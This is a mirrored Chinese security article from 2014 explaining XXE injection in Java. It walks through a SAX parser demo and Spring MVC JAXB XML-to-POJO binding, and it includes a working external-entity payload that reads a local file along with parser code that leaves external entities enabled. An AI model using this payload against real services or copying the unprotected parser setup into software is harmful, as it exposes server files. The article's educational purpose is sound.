Spring MVC xml繫結pojo造成的XXE

wyzsk發表於2020-08-19
作者: Nebula · 2014/05/08 12:20

0x00 背景


什麼是XXE ? 就是我們所說的所謂xml實體注入.這裡不去講所有xml語法規範了,稍微就說一下XML entity:

entity翻譯為"實體"。它的作用類似word中的"宏",也可以理解為DW中的模板,你可以預先定義一個entity,然後在一個文件中多次呼叫,或者在多個文件中呼叫同一個entity(XML定義了兩種型別的entity。一種是我們這裡說的普通entity,在XML文件中使用;另一種是引數entity,在DTD檔案中使用。)。  

entity的定義語法為:

#!xml
<!DOCTYPE filename
[  
    <!ENTITY entity-name "entity-content"  
]>

如果要引用一個外部資源:

#!xml
<!DOCTYPE test
[  
    <!ENTITY test SYSTEM "http://xxx.xxx.com/test.xml">   
]> 

ENTITY可以使用SYSTEM關鍵字,呼叫外部資源,而這裡是支援很多的協議,如:http;file等

然後,在其他DoM結點中可以使用如:&test;引用該實體內容.

那麼,如果在產品功能設計當中,解析的xml是由外部可控制的,那將可能形成,如:檔案讀取,DoS,CSRF等漏洞.

這裡只介紹檔案讀取漏洞,其他可以自己google瞭解.

0x01 原理


規範沒有問題,xml解析器有些也沒有問題,有問題的是使用他的人.

java SAX解析器 demo:

Test.java

#!java
public static void main(String[] args) throws  Exception {   
    SAXReader reader = new SAXReader();  
    //禁止  
    //reader.setFeature("http://xml.org/sax/features/external-general-entities", true);  
    Document dom = reader.read("E:/1.xml");  
    Element root = dom.getRootElement();  
    Iterator<Element> it = root.elementIterator();  
    while (it.hasNext()) {  
        Element elements = it.next();  
        System.out.println(elements.getText());  

    }  
}  

解析的xml,1.xml:

#!xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test
[<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "file:///E:/1.log" >]>
<root>
    <name>&amp;xxe;</name>
</root>

實體呼叫的資源,1.log:

XXE test!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 

先說一點,解析器一般會支援所有xml規範的.使用file協議,理論上,我們至少可以讀取到當前系統的任意檔案內容.如:讀取E磁碟機代號下的1.log檔案內容.

然後被root的子節點,name內容域引用.解析結果,如圖:

2014050722403743880.png

接下來講,spring MVC在xml格式到java物件反序列化中,可能存在的XXE 形成的檔案讀取:

spring 是提供xml請求內容繫結到pojo的功能(也可以理解成javabean什麼的(有區別,可以自己去看看),spring  在這裡規範化了,所以就跟著叫),用得比較多的還有表單繫結,json繫結。

spring mvc JAXB xml to pojo unMarshaller  demo:

spring-servlet.xml:

#!xml
<?xml version="1.0" encoding="UTF-8"?>  
<beans xmlns="http://www.springframework.org/schema/beans"  
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
 xmlns:p="http://www.springframework.org/schema/p"  
 xmlns:context="http://www.springframework.org/schema/context"  
 xsi:schemaLocation="http://www.springframework.org/schema/beans  
  http://www.springframework.org/schema/beans/spring-beans-3.0.xsd  
  http://www.springframework.org/schema/context  
  http://www.springframework.org/schema/context/spring-context-3.0.xsd">  
    
 <context:component-scan base-package="net.spring.controller" />   
   
   
    <bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter">  
        <property name="messageConverters">  
            <list>  
                <ref bean="stringHttpMessageConverter" />  
                <ref bean="jsonHttpMessageConverter" />  
                <ref bean="marshallingHttpMessageConverter" />  
            </list>  
        </property>  
    </bean>  
<bean id="stringHttpMessageConverter" class="org.springframework.http.converter.StringHttpMessageConverter" />   
<bean id="jsonHttpMessageConverter" class="org.springframework.http.converter.json.MappingJacksonHttpMessageConverter" />  
<bean id="marshallingHttpMessageConverter" class="org.springframework.http.converter.xml.MarshallingHttpMessageConverter">  
        <constructor-arg ref="jaxbMarshaller" />  
        <property name="supportedMediaTypes" value="application/xml"></property>  
</bean>  
<bean id="jaxbMarshaller" class="org.springframework.oxm.jaxb.Jaxb2Marshaller">  
        <property name="classesToBeBound">  
            <list>  
                <value>net.spring.controller.User</value>  
            </list>  
        </property>  
</bean>  
</beans>  

HelloWorldController.java:

#!java
import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.RequestBody;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.servlet.ModelAndView;  

@Controller  
public class HelloWorldController {   
    @RequestMapping("/hello")  
    public  ModelAndView helloWorld(@RequestBody User user) {  

        System.out.println("xxxxxxxxxx"+user.getName());  
        return new ModelAndView("hello", "user", user);   
    }   
} 

User.java(xml繫結的pojo):

#!java
import javax.xml.bind.annotation.XmlElement;  
import javax.xml.bind.annotation.XmlRootElement;  

@XmlRootElement(name="user")    
public class User {  
    private String name;  

    public String getName() {  
        return name;  
}  
@XmlElement  
    public void setName(String name) {  
        this.name = name;  
    }  
}   

發包,xml繫結pojo,如圖:

2014050723155955348.png

pojo User物件的name屬性被汙染,如圖:

2014050723180180429.png

如果,攻擊者最終能看到這個name值(直接顯示到頁面或儲存到資料庫再現實到頁面什麼的),就是檔案讀取漏洞了!

不管是其他語言或場景,原理就這麼回事。

spring 早已經修補,這裡主要給個漏洞場景,現在基本沒什麼危害吧?因為這個功能使用不常見,但走在前面的框架使用者肯定會使用這個功能,可能需要等個十年左右:

https://jira.spring.io/browse/SPR-10806

當然,還存在一個小而很有意思的問題,過一段時間的文章中可能會講到。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章